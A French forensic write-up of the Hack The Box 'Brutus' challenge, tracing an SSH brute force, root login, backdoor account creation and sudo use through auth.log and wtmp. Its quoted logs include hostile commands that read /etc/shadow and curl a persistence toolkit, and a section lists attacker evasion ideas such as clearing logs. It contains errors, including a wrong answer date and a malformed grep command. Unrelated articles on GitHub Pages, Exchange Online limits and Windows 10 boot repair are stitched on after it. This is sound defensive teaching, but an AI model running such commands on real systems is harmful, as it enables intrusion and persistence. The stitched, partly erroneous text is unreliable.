I. Présentation

On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Brutus, de difficulté "débutant". Il s'agit d'un challenge très simple fait pour les débutants en cybersécurité qui vise à démystifier le forensic au travers un cas d'usage assez simple, mais tout de même réaliste.

Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et analystes en cybersécurité. Nous allons plus précisément étudier le cas d'une attaque par bruteforce sur un service SSH et quelques fichiers de logs classiques des systèmes d'exploitation Linux.

Lien du challenge : Hack The Box - Sherlocks - Brutus

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".

Technologies abordées	Linux, bruteforce, wtmp, auth.log, SSH
Outils utilisés	cat, grep, tail, uniq, framework MITRE ATT&CK

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Découverte de l'archive et des journaux

Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :

Le scénario du challenge nous apprend qu'un serveur Linux Confluence a été la cible d'une attaque par brute force et que l'attaquant est parvenu à accéder au serveur puis à réaliser des actions sur celui-ci. Notre objectif va donc être d'identifier plus clairement les différentes phases de cette cyberattaque en étant guidé par les questions du challenge.

Si l'on s'intéresse à l'archive "Brutus.zip" téléchargée et décompressée, nous découvrons deux fichiers :

Comme l'indique l'extension ".log", il s'agit de logs, c'est-à-dire des journaux d'évènements.

Les journaux d'évènements, ou "logs", sont des fichiers dans lesquels sont inscrits des informations à propos des opérations menées sur un système, avec des informations techniques et un horodatage, comme : "12/03/2022 12:56 : L'utilisateur john s'est authentifié". Ils permettent d'assurer une traçabilité des évènements et actions dans le temps sur un système et sont utilisés pour du debug, mais aussi pour l'investigation à la suite d'une cyberattaque puisqu'ils permettent de retracer la vie du système dans le passé.

Les fichiers de logs sont en général organisés par périmètre (authentification, application web, etc.) et suivent une structure et un formatage précis.

Ces deux fichiers ont des noms que les habitués des systèmes d'exploitation Linux devraient reconnaitre :

• Le fichier "/var/log/auth.log" est un fichier servant à stocker les évènements relatifs à l'authentification sur les systèmes d'exploitations Linux tels qu'une authentification échouée ou réussie, locale ou distante.
  • Vous pourrez en apprendre plus sur ce fichier dans notre article Linux : qu’est-ce que le fichier /var/log/auth.log ou /var/log/secure ?
• Le fichier "/var/log/wtmp" est également un fichier de log qui vise à garder une trace de toutes les connexions et déconnexions au système. Il utilise un format différent des fichiers ".log", qui sont des fichiers texte et doit être parcouru à l'aide d'une commande bien précise.

Si l'on regarde les premières lignes du fichier "auth.log", on peut notamment y voir des informations concernant les authentifications, tentatives d'authentification et déconnexions sur le système, exemple :

Mar  6 06:31:42 ip-172-31-35-28 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2
Mar  6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2
Mar  6 06:31:44 ip-172-31-35-28 sshd[2423]: Connection closed by authenticating user backup 65.2.161.68 port 34834 [preauth]
Mar  6 06:31:44 ip-172-31-35-28 sshd[2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 [preauth]
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184

Passons à présent aux différentes tâches de notre investigation qui nous permettrons d'en découvrir plus sur ces fichiers et quelles informations ils peuvent nous fournir dans le cadre de l'étude d'une cyberattaque.

III. Investigation numérique : le cas Brutus

A. Tâche n°1: Identifier l'adresse IP de l'attaquant

• Énoncé - Task 1 : Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

D'après le scénario proposé dans le cadre du challenge, le système ayant produit ces logs à subit une attaque par brute force, qui consiste à essayer un très grand nombre de mots de passe pour un même compte utilisateur jusqu'à trouver la bonne combinaison. Parmi les nombreuses informations journalisées dans le fichier "auth.log" lors d'une authentification figure l'adresse IP du client.

Afin d'extraire toutes les adresses IP du fichier "auth.log", nous pouvons utiliser la commande "grep" ainsi qu'une expression régulière qui va extraire toutes les chaines de caractères qui s'apparentent à une adresse IP.

$ grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' auth.log  | uniq -c
      1 203.101.190.9
      4 65.2.161.68
      1 172.31.35.28
    210 65.2.161.68

Comme vous pouvez le voir, j'ai également utilisé la commande "uniq" avec l'option "-c" afin qu'elle me sorte le nombre d'occurrences de chaque adresse IP. L'adresse IP "65.2.161.68" sort clairement du lot avec 210 occurrences. Nous pouvons à nouveau utiliser la commande "grep" pour extraire toutes les lignes de log contenant cette adresse IP :

$ grep "65.2.161.68" auth.log         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups             
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422

Cela nous donne effectivement des exemples intéressants, comme "Invalid user admin from 65.2.161.68" qui indique qu'une authentification a été tentée depuis cette adresse IP pour un utilisateur "admin", qui de toute façon n'existe pas sur le système.

Lorsqu'un attaquant opère une attaque par brute force sans connaitre de login utilisateur valide sur sa cible, il doit réaliser beaucoup plus de tests que s'il a la certitude de l'existence du compte utilisateur ciblé. Ainsi, son attaque à moins de chance d'aboutir et il a plus de chance de se faire détecter si de tels évènements sont surveillés.

Maintenant que nous avons identifié l'adresse IP de l'attaquant, nous allons pouvoir tenter de mieux comprendre les opérations qu'il a menées.

B. Tâche n°2 : Authentification réussie

• Énoncé - Task 2 : The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

La tâche suivante nous demande d'identifier quel compte a effectivement été compromis sur le système grâce à cette attaque. En regardant attentivement les journaux relatifs à l'adresse IP identifiée, nous pouvons voir que certains d'entre eux indiquent "Accepted password", c'est notamment le cas des toutes dernières lignes du fichier "auth.log" :

$ grep "65.2.161.68" auth.log | tail -n 4
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

Ainsi, en faisant un filtre sur le mot "Accepted" grâce à la commande "grep", nous pouvons obtenir toutes les authentifications réussies :

$ grep "Accepted" auth.log 
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh

La première authentification réussie par l'adresse IP "65.2.161.68" concerne le compte utilisateur "root". C'est donc le mot de passe de ce compte qui a été découvert via l'attaque par brute force.

C. Tâche n°3 : Date de connexion SSH

• Énoncé - Task 3 : Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

Cette étape nous demande la date exacte de la première connexion réussie par l'attaquant. Nous pouvons cette fois-ci nous intéresser au fichier "wtmp" qui référence les ouvertures et fermetures de session sur un système. La première chose à savoir et qu'il ne s'agit pas d'un simple fichier texte comme "auth.log". Nous devons utiliser un outil capable de lire et correctement formater son contenu pour qu'il nous soit intelligible : la commande "last".

$ last -f wtmp -F
cyberjun pts/1        65.2.161.68      Wed Mar  6 07:37:35 2024   gone - no logout
root     pts/1        65.2.161.68      Wed Mar  6 07:32:45 2024 - Wed Mar  6 07:37:24 2024  (00:04)
root     pts/0        203.101.190.9    Wed Mar  6 07:19:55 2024   gone - no logout
reboot   system boot  6.2.0-1018-aws   Wed Mar  6 07:17:15 2024   still running
root     pts/1        203.101.190.9    Sun Feb 11 11:54:27 2024 - Sun Feb 11 12:08:04 2024  (00:13)
root     pts/1        203.101.190.9    Sun Feb 11 11:41:11 2024 - Sun Feb 11 11:41:46 2024  (00:00)
root     pts/0        203.101.190.9    Sun Feb 11 11:33:49 2024 - Sun Feb 11 12:08:04 2024  (00:34)
root     pts/0        203.101.190.9    Thu Jan 25 12:15:40 2024 - Thu Jan 25 13:34:34 2024  (01:18)
ubuntu   pts/0        203.101.190.9    Thu Jan 25 12:13:58 2024 - Thu Jan 25 12:15:12 2024  (00:01)
reboot   system boot  6.2.0-1017-aws   Thu Jan 25 12:12:17 2024 - Sun Feb 11 12:09:18 2024 (16+23:57)

Ici, l'option "-F" nous permet d'obtenir la date complète de chaque session journalisée. Nous pouvons voir, si l'on regarde les sessions ouvertes par l'adresse IP suspecte identifiée, qu'une première session a été ouverte à 07:32:45 le 06/03/2024.

Un piège de l'exercice était ici de faire le lien entre ces horaires et ceux du fichier "auth.log" et de constater une différence d'une heure entre ces deux formats (pour une raison obscure). La bonne date est donc "2024-03-04 06:32:45".

D. Tâche n°4 : Identification de session SSH

• Énoncé - Task 4 : SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

Il nous faut à présent identifier le numéro de session SSH associé à cette connexion.

Dans ce contexte, le numéro de session SSH permet de suivre les évènements relatifs à une session dans les journaux dans le cas ou plusieurs sessions apparaissent dans une même plage horaire.

Nous pouvons pour cela utiliser l'option "-A X" de la commande "grep" qui va nous afficher les X lignes après un match par rapport à la chaine de caractères recherchée. Cela nous permet de retrouver la connexion "root" de l'adresse IP "65.2.161.68".

$ grep "Accepted" auth.log  -A 5          
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
--
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence

Quelques lignes plus loin, nous avons l'information recherchée "New session 34", mais si l'on regarde la ligne suivante et l'horodatage de l'ensemble, on remarque que l'attaquant s'est déconnecté la même seconde, donc immédiatement. Il s'agit donc là de la connexion réussie réalisée par son outil de brute force, et non d'une connexion "manuelle" qui aurait eu un temps d'existence plus long. Là est aussi l'intérêt d'étudier également le fichier "wtmp", qui présente les mêmes informations de manière plus claire. Dans le fichier "auth.log", nous voyons bien que les informations relatives à une seule connexion sont sur plusieurs lignes et séparées par des informations concernant d'autres sessions.

Le second match nous indique une seconde session, qui elle n'est pas immédiatement déconnectée : "New session 37 of user root".

E. Tâche n°5 : création d'un accès persistant

• Énoncé - Task 5 : The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

D'après l'énoncé, l'attaquant aurait créé un accès dérobé sur le système compromis. À nouveau, l'étude du contenu du fichier "auth.log" nous renseigne sur un évènement de création d'un utilisateur, peu après la connexion de l'attaquant avant le compte "root" :

$ grep "65.2.161.68" auth.log | tail 
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie

Il semble donc que l'attaquant se soit créé un compte utilisateur pour pouvoir revenir plus tard sur le système, lui assurant ainsi un accès en cas de changement du mot de passe du compte "root". Le compte ici créé parait donc être "cyberjunkie", l'attaquant est venu s'y connecter juste après l'avoir créé.

$ grep "65.2.161.68" "cyberjunkie" auth.log
[...]
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

F. Tâche n°6 : TTP du MITRE ATT&CK

• Énoncé - Task 6 : What is the MITRE ATT&CK sub-technique ID used for persistence?

Il nous est ici demandé de catégoriser cette opération de l'attaquant par rapport au framework du MITRE ATT&CK. La recherche peut être un peu fastidieuse si vous n'êtes pas du tout familier du framework. On peut déjà orienter nos recherches sur la catégorie "Persistence" qui concerne les opérations menées dans le but de maintenir un accès dans le temps sur un système compromis :

Après avoir parcouru les différents TTP de cette "Tactic", il semble ici que ce soit le TTP 1136.001 qui corresponde le mieux à notre situation :

G. Tâche n°7 : Temps de session SSH

• Énoncé - Task 7 : How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

Cet énoncé nous demande de trouver la durée de la session utilisateur en tant que "root". Il faut pour cela se baser sur l'horodatage des journaux d'évènements relatifs à la connexion et déconnexion de cette session :

$ grep -i "session 37" auth.log
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.

Le temps total de la session est de 279 secondes.

H. Tâche n°8 : Commande sudo

• Énoncé - Task 8 : The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

D'après l'énoncé, l'attaquant a utilisé son compte "cyberjunkie" afin d'élever ses privilèges en tant que "root" sur le système en utilisant la commande "sudo".

La commande "sudo" sur les systèmes Linux permet aux utilisateurs autorisés d'exécuter des commandes avec les privilèges d'autres utilisateurs, généralement "root". Elle permet d'attribuer des sortes de dérogation d'élévation de privilège sur des commandes précises. Certaines dérogations, si elles sont mal définies ou portent sur des commandes "vulnérables" peuvent être utilisées par l'attaquant pour outrepasser le seul périmètre de la commande et obtenir une session en tant que root.

On parle alors de "sudo escape" : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Nous pouvons utiliser la commande "grep" sur le terme "sudo" et repérer rapidement la commande en question :

$ grep "sudo" auth.log 
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for use

L'attaquant a donc utilisé la commande "sudo" afin de télécharger sur internet un script nommé "linper.sh", que nous pouvons d'ailleurs consulter de nous même : https://github.com/montysecurity/linper :

Il s'agit d'une boîte à outil de persistance ("persistence toolkit") pour les OS Linux, il vise à proposer plusieurs méthodes de persistance pour s'implanter de façon durable sur un système Linux compromis.

IV. Résumé de l'attaque

Au cours de cette investigation, nous avons pu étudier la cyberattaque menée sur notre serveur par un attaquant. Les journaux d'évènements nous ont permis de déterminer qu'une attaque par brute force a été menée sur le service SSH, sans connaissance préalable de comptes utilisateurs existants (mis à part un compte par défaut : "root"). L'opération a permis à l'attaquant de découvrir le mot de passe du compte "root". Compte qui a été utilisé pour créer un compte de persistance ("cyberjunkie") par l'attaquant et ajouter à ce compte un moyen d'exécuter des commandes en tant que root par l'intermédiaire d'une dérogation "sudo".

Cette dérogation a ensuite été utilisée par l'attaquant afin de télécharger le script bash "linper.sh", hébergé sur Github. Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :

TTP (MITRE ATT&CK)	Détails
T1110.001 - Brute Force: Password Guessing	Réalisation d'une attaque par bruteforce sur l'accès SSH.
T1078.003 - Valid Accounts: Local Accounts	Authentification en tant que "root" .
TTP1136.001 - Create Account: Local Account	Création d'un compte utilisateur local ("cyberjunkie").
T1098 - Account Manipulation	Ajout d'une dérogation sudo à ce nouvel utilisateur permettant d'exécuter des commandes en tant que "root"
T1078.003 - Valid Accounts: Local Accounts	Connexion SSH avec l'utilisateur nouvelle créé
T1608.002 - Stage Capabilities: Upload Tool	Téléchargement d'un script "linper.sh" depuis Internet sur la cible via "sudo" et "curl".

Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :

V. Notions abordées

Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :-).

A. Côté analyste

Nous avons vu dans cet exercice qu'il est important de se familiariser avec les logs classiques du système d'exploitation que l'on souhaite analyser. Connaitre le rôle et le format des journaux du fichier "auth.log" et les subtilités du fichier "wtmp" (commande "last") nous a permis de rapidement trouver les informations demandées.

Également, disposer d'un jeu de commandes préconçu pour rechercher des informations précises (expression régulière pour les adresses IP) ou faire des statistiques rapidement serait un plus, notamment en utilisant des outils qui permettent de rechercher et utiliser rapidement ces commandes comme "arsenal" :

• Avec arsenal, créez un inventaire de vos commandes Linux favorites et gagnez en efficacité

B. Côté défense

Côté défense, plusieurs bonnes pratiques devraient être mises en place pour se protéger des attaques observées dans cette investigation :

• Il est dans un premier temps recommandé de durcir la configuration SSH avec d'éviter le brute force SSH et d'interdire les connexions SSH en tant que root.
• La mise en place de solutions "tierces" peut aussi être envisagée afin de se protéger des attaques par brute force, cela peut passer par le durcissement de la configuration "pam.d", la mise en place d'un service Fail2Ban ou Crowdsec.
  • Retrouvez nos tutoriels Fail2ban.
  • Retrouvez nos tutoriels CrowdSec.
• Également, il peut être recommandé de durcir la politique de mot de passe de l'utilisateur root, et par extension de l'ensemble des utilisateurs du système concerné. Peu importe la wordlist utilisée, le mot de passe d'un utilisateur privilégié ne devrait jamais s'y trouver, cela indique l'utilisation d'un mot de passe probablement faible.
• Il peut aussi être recommandé de mettre en place des restrictions, voire une interdiction totale d'accès à Internet de la part des serveurs si cela ne répond pas à un besoin justifié (l'application de mises à jour n'en étant pas une, il est préférable de passer par un serveur APT interne et maitrisé). Cela dans le but de bloquer ou ralentir la démarche de l'attaquant lors des opérations d'exfiltration d'informations ou d'import d'outils offensifs.

C. Côté attaquant

L'attaquant aurait, lui aussi, pu améliorer son attaque de plusieurs manières, notamment pour complexifier la tâche de l'analyste ou gagner en discrétion :

• L'attaquant aurait pu étaler son attaque par brute force dans le temps afin de complexifier la tâche d'investigation de l'analyste, qui aurait dû trier des connexions légitimes et les connexions malveillantes. En fonction de la configuration de la journalisation, cela aurait également pu étaler les évènements dans plusieurs fichiers grâce à la rotation des journaux, voire entrainer une suppression au bout d'un certain volume ou ancienneté.
• Un attaquant avec plus de moyens aurait aussi pu distribuer son attaque par brute force depuis plusieurs adresses IP afin de gagner en discrétion. Il aurait lors été plus complexe de faire une corrélation entre différentes tentatives d'authentification. Cela se fait généralement à l'aide de ressources Cloud hébergées dans plusieurs pays ou de botnet loués pour l'occasion :
  • T1583 - Acquire Infrastructure
• Le téléchargement d'une ressource depuis un dépôt GitHub facilite la tâche de l'analyste qui peut rapidement identifier l'outil, son objectif, voir découvrir des éléments de signature lui permettant de le retrouver et le supprimer sur le système. Sans vraiment modifier le script lui-même, l'attaquant aurait pu passer par un serveur web temporaire pour que l'analyste ne puisse pas facilement identifier l'outil et une modification du nom du script afin de gagner du temps sur l'investigation et en discrétion.
  • T1036 - Masquerading
• L'analyse ici menée a été réalisée à 100% grâce aux journaux d'évènements du système lui-même, nous avons notamment pu découvrir les opérations de post-exploitation de l'attaquant (opérations menées après compromissions du système). Une fois les droits root obtenus, l'attaquant aurait pu stopper la production ou l'exfiltration des journaux d'évènements afin de gagner en discrétion au moment de l'attaque et de rendre quasi impossible la démarche d'investigation par la suite. Une simple suppression des journaux locaux aurait été possible grâce aux droits root par exemple. L'effacement des traces et une technique assez classique de post-exploitation par les attaquants réels et leur permet de couvrir toutes les pistes potentielles laissées lors de l'intrusion.
  • T1562.012 - Impair Defenses: Disable or Modify Linux Audit System
  • T1562.003 - Impair Defenses: Impair Command History Logging
  • T1070.002 - Indicator Removal: Clear Linux or Mac System Logs
  • T1070.003 - https://attack.mitre.org/techniques/T1070/003/

VI. Conclusion

J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis !

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack the box – Sherlocks (forensic) : découverte et solution de Brutus first appeared on IT-Connect.

GitHub Actions workflows for GitHub Pages just became generally available. GitHub Pages is a service that lets you host static websites on GitHub directly from your repositories. GitHub Actions is a continuous integration and continuous delivery (CI/CD) platform provided by GitHub that allows users to automate their build, test, and deployment pipelines. This article takes you through using custom workflows to deploy static websites to GitHub Pages with GitHub Actions workflows.

À partir de janvier 2025 et dans le but de lutter contre l'envoi de spams, Microsoft va mettre en place une nouvelle restriction sur Exchange Online : une limite de 2 000 destinataires externes par jour. Faisons le point sur ce changement à venir.

Vous n'allez plus pouvoir abuser des ressources d'Exchange Online puisque dans un nouvel article, Microsoft a dévoilé les plans de sa nouvelle limite "External Recipient Rate" (ERR) : "Aujourd'hui, nous annonçons qu'à partir de janvier 2025, Exchange Online commencera à appliquer une limite de 2 000 destinataires externes en 24 heures.", peut -on lire.

Il s'agit d'une sous-limite de la limite globale, visant à limiter le nombre de destinataires externes à votre organisation. Voici ce qu'explique Microsoft dans son article : "Exchange Online applique une limite de taux de réception de 10 000 destinataires. La limite de 2 000 ERR deviendra une sous-limite dans cette limite de 10 000 destinataires."

Cette limite de 10 000 destinataires est indiquée dans la documentation de Microsoft. Elle est identique pour tous les abonnements Microsoft 365 (Business Basic, Business Standard, Business Premium, E3, E5, etc.).

La feuille de route de Microsoft

Pour déployer ce changement, Microsoft a prévu deux grandes étapes :

• Étape n°1 : À partir du 1er janvier 2025, la limite s'appliquera aux boîtes aux lettres Exchange Online, sur tous les nouveaux tenants.
• Étape n°2 - Entre juillet et décembre 2025, Microsoft va commencer à appliquer la limite aux boîtes aux lettres Exchange Online, sur les tenants existants

Autrement dit, si vous utilisez déjà Microsoft 365, vous serez affecté par ce changement entre juillet et décembre 2025.

Si vous avez besoin d'envoyer en masse des e-mails et que cette limitation est un problème pour votre organisation, vous devez vous orienter vers le service Azure Communication Services for Email qui est adapté à cet usage.

Microsoft n'est pas la première entreprise à prendre de nouvelles mesures sur les e-mails sortants : Google l'a fait un peu plus tôt cette année avec une limite à 5 000 e-mails par jour, à partir d'un même compte Gmail.

Source

The post Exchange Online : pour lutter contre le spam, Microsoft va limiter l’envoi de courriels en masse first appeared on IT-Connect.

Un des problèmes que les utilisateurs rencontrent régulièrement est que le PC s’allume, c’est à dire que vous entendez les ventilateurs et l’écran s’allume mais Windows 10 ne démarre pas.
Les sources de ce problème de démarrage sont multiples, comme une corruption du système par une mise à jour, une défaillance de disque, un pilote qui plante le démarrage, etc.

Dans ce guide complet, je vous donne plusieurs solutions lorsque votre PC s’allume mais que Windows 10 ne démarre pas.

Mon PC s’allume mais ne démarre pas en Windows 10

Faire un hard reset

Une réinitialisation de l’alimentation ou un redémarrage matériel ou encore en anglais Power Reset ou Hard Reset efface toutes les informations de la mémoire de l’ordinateur sans effacer les données personnelles.
Cela peut résoudre des corruptions de sources d’alimentation qui engendre des comportements aléatoires de votre PC. Voici la procédure générique à réaliser.

Pour les PC portables :

1. Éteignez votre ordinateur
2. Débranchez le cordon d’alimentation, s’il s’agit d’un portable retirez la batterie (voir notice si nécessaire).
3. En ayant le cordon d’alimentation débranché ou la batterie retirez, appuyez sur la touche d’alimentation pendant quelques secondes, comme si vous vouliez allumer ce dernier. Cela va vider toute l’électricité contenu dans l’ordinateur.
4. Re-branchez le tout ou remettez la batterie du portable.

Pour un PC de bureau :

• Débranchez l’alimentation
• Maintenez le bouton d’alimentation enfoncé pendant 15 secondes pour réinitialiser
• Rebranchez l’adaptateur secteur sur l’ordinateur portable, mais ne connectez aucun périphérique.
• Appuyez sur le bouton d’alimentation pour allumer l’ordinateur normalement.

Plus de détails avec tous les conseils et autres méthodes sur cette page :

Une fois que cela est fait, relancez normalement votre PC et vérifier si Windows 10 se charge normalement.
Sinon passez à l’étape suivante.

Démarrer en mode sans échec

Si Windows 10 est corrompu ou quelque chose empêche son démarrage, vous pouvez tester d’accéder au mode sans échec.
Pour cela, il faut parvenir à démarrer sur les options de démarrage avancées.
Voici les méthodes pour y parvenir :

• Après deux démarrages non consécutifs du PC. Windows entre en réparation automatique et donne accès à ces derniers
• Depuis l’écran de démarrage : Appuyez sur la touche MAJ et cliquez sur l’icône ampoule en bas à droite et redémarrer
• Par un disque de récupération ou depuis une clé USB d’installation Windows 10. Vous pouvez créer ces derniers depuis un PC fonctionnel

Au besoin, consultez ce guide : Démarrer sur les options de dépannage de Windows 10, 11

Ensuite pour accéder au mode sans échec :

• Accédez aux options de dépannage avancées
• Cliquez sur Outil de redémarrage système

• Ensuite cliquez sur le menu Paramètres afin de modifier la configuration de démarrage de Windows

• Puis appuyez sur la touche [su_clavier]5[/su_clavier] du clavier pour démarrer en mode sans échec avec prise en charge du réseau

Si vous parvenez à accéder au mode sans échec, c’est une bonne nouvelle car cela signifie que quelque chose bloque le mode normal.
Tentez alors :

• De désinstaller tous les logiciels de sécurité
• Désinstaller la dernière mise à jour
• Si vous avez mis à jour les pilotes, revenez au pilote précédent. Depuis le gestionnaire de périphériques, clic droit sur le périphérique et revenir au pilote précédent
• Restaurer Windows 10

Utiliser l’outil de démarrage système

Les options de récupérations fournissent aussi un utilitaire pour corriger les problèmes qui empêchent le chargement de Windows.
Voici comment l’utiliser :

• Accédez aux options de dépannage avancées
• Cliquez sur Outil de redémarrage système

• Laissez les réparations s’opérer
• Enfin relancez l’ordinateur pour vérifier si les problèmes de chargement de Windows 10 sont corrigés

Désinstaller la dernière mise à jour

Ce problème d’accès au bureau de Windows 10 peut se produire après une mise à jour du système.
Notamment, cela se produit souvent après une mise à jour de fonctionnalités.
Notez que si vous rencontrez un écran noir après la saisie du mot de passe ou code PIN, il faut parfois patienter car la mise à jour continue de s’installer.
Sinon une solution est de désinstaller la dernière mise à jour.
Voici comment faire :

• Accédez aux options de dépannage avancées
• Puis cliquez sur “Désinstaller des mises à jour“.

